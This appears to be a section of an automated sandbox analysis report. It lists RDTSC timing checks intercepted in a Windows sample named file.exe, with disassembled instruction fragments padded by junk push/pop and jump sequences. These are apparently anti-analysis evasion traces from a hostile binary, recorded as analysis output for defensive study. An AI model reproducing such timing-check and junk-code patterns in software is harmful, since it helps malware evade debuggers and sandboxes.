Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA931 second address: 7FA955 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4247A576Eh 0x00000008 jmp 00007FB4247A5768h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA955 second address: 7FA959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA959 second address: 7FA95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC39 second address: 7FAC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC44 second address: 7FAC4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC4A second address: 7FAC67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB424D5263Fh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC67 second address: 7FAC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC71 second address: 7FAC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424D52645h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB30D second address: 7FB351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4247A5762h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007FB4247A5764h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB4247A575Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b je 00007FB4247A5756h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB351 second address: 7FB357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB357 second address: 7FB35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB35F second address: 7FB363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFF9B second address: 7FFF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFF9F second address: 7FFFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80159D second address: 8015A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8015A3 second address: 8015D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB424D52644h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB424D52644h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80877F second address: 808785 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808D17 second address: 808D35 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB424D52636h 0x00000008 jmp 00007FB424D52644h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808E9A second address: 808E9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808E9E second address: 808EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8092DF second address: 8092E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB4247A5756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D743 second address: 80D74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D74B second address: 80D797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB4247A5756h 0x0000000a jnp 00007FB4247A5756h 0x00000010 popad 0x00000011 push ebx 0x00000012 jg 00007FB4247A5756h 0x00000018 pop ebx 0x00000019 popad 0x0000001a pushad 0x0000001b jo 00007FB4247A5767h 0x00000021 jmp 00007FB4247A5760h 0x00000026 jg 00007FB4247A575Eh 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EDA0 second address: 80EDB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EDB6 second address: 80EDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80EDBA second address: 80EDC4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB424D52636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811C43 second address: 811C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757935 second address: 75794D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52644h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81698A second address: 8169A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jno 00007FB4247A5766h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169A6 second address: 8169DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FB424D52648h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FB424D52636h 0x00000013 jmp 00007FB424D52641h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8169DD second address: 8169E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816303 second address: 816307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816307 second address: 816321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB4247A5756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007FB4247A575Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816321 second address: 816327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816327 second address: 81632B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81632B second address: 81633B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB424D5263Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81633B second address: 81635C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FB4247A5758h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007FB4247A5760h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81635C second address: 816380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52643h 0x00000009 jmp 00007FB424D5263Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816520 second address: 816525 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81668C second address: 81669A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826FD0 second address: 826FDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FB4247A5756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826FDC second address: 826FF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB424D52640h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826FF1 second address: 827009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007FB4247A5758h 0x0000000e jbe 00007FB4247A575Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826905 second address: 826940 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FB424D5263Eh 0x00000010 jmp 00007FB424D5263Dh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 jmp 00007FB424D5263Fh 0x0000001e push eax 0x0000001f pop eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826ADD second address: 826AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB4247A5756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EC0B second address: 82EC41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB424D5263Eh 0x00000008 jno 00007FB424D52636h 0x0000000e jc 00007FB424D52636h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b je 00007FB424D52636h 0x00000021 jmp 00007FB424D5263Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EC41 second address: 82EC45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EC45 second address: 82EC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82EC4B second address: 82EC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4247A5767h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B49 second address: 831B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B4D second address: 831B5F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FB4247A5756h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B5F second address: 831B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831B63 second address: 831B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838AD3 second address: 838AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5BF second address: 83F5C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5C5 second address: 83F5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5C9 second address: 83F5D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F5D2 second address: 83F5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA49 second address: 83FA4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA4F second address: 83FA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA53 second address: 83FA57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA57 second address: 83FA63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA63 second address: 83FA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA67 second address: 83FA75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FA75 second address: 83FA7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840480 second address: 840495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FB424D52636h 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FB424D52636h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857F23 second address: 857F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB4247A5756h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857F2F second address: 857F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 852A4B second address: 852A6B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB4247A5756h 0x00000008 jmp 00007FB4247A5761h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865E21 second address: 865E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BBCF second address: 87BBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BBD5 second address: 87BBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB424D52636h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87BBE3 second address: 87BC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4247A575Eh 0x00000009 pop ecx 0x0000000a jng 00007FB4247A5761h 0x00000010 jmp 00007FB4247A575Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007FB4247A5756h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ACA3 second address: 87ACA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ACA8 second address: 87ACAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ACAE second address: 87ACCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 jno 00007FB424D52636h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jng 00007FB424D52636h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87ACCA second address: 87ACD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B60D second address: 87B62E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB424D52638h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB424D52643h 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FB424D5263Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B8DE second address: 87B8E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B8E2 second address: 87B8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB424D52636h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B8EE second address: 87B8FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB4247A5756h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B8FA second address: 87B8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B8FE second address: 87B919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB4247A575Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B919 second address: 87B927 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007FB424D52636h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EC01 second address: 87EC07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EC07 second address: 87EC11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87EC11 second address: 87EC29 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4247A575Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8802FE second address: 880302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882E2A second address: 882E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F59 second address: 882F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F5D second address: 882F70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882F70 second address: 882FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dx, bx 0x0000000e push 00000004h 0x00000010 jmp 00007FB424D5263Dh 0x00000015 call 00007FB424D52639h 0x0000001a push esi 0x0000001b jnl 00007FB424D5264Bh 0x00000021 pop esi 0x00000022 push eax 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882FB9 second address: 882FFF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jnp 00007FB4247A576Ah 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007FB4247A576Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882FFF second address: 883016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB424D52636h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883016 second address: 88301A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884CA2 second address: 884CAA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884CAA second address: 884CCD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB4247A5769h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884CCD second address: 884CD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88697F second address: 8869A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB4247A5756h 0x0000000a pop ecx 0x0000000b jmp 00007FB4247A5767h 0x00000010 rdtsc
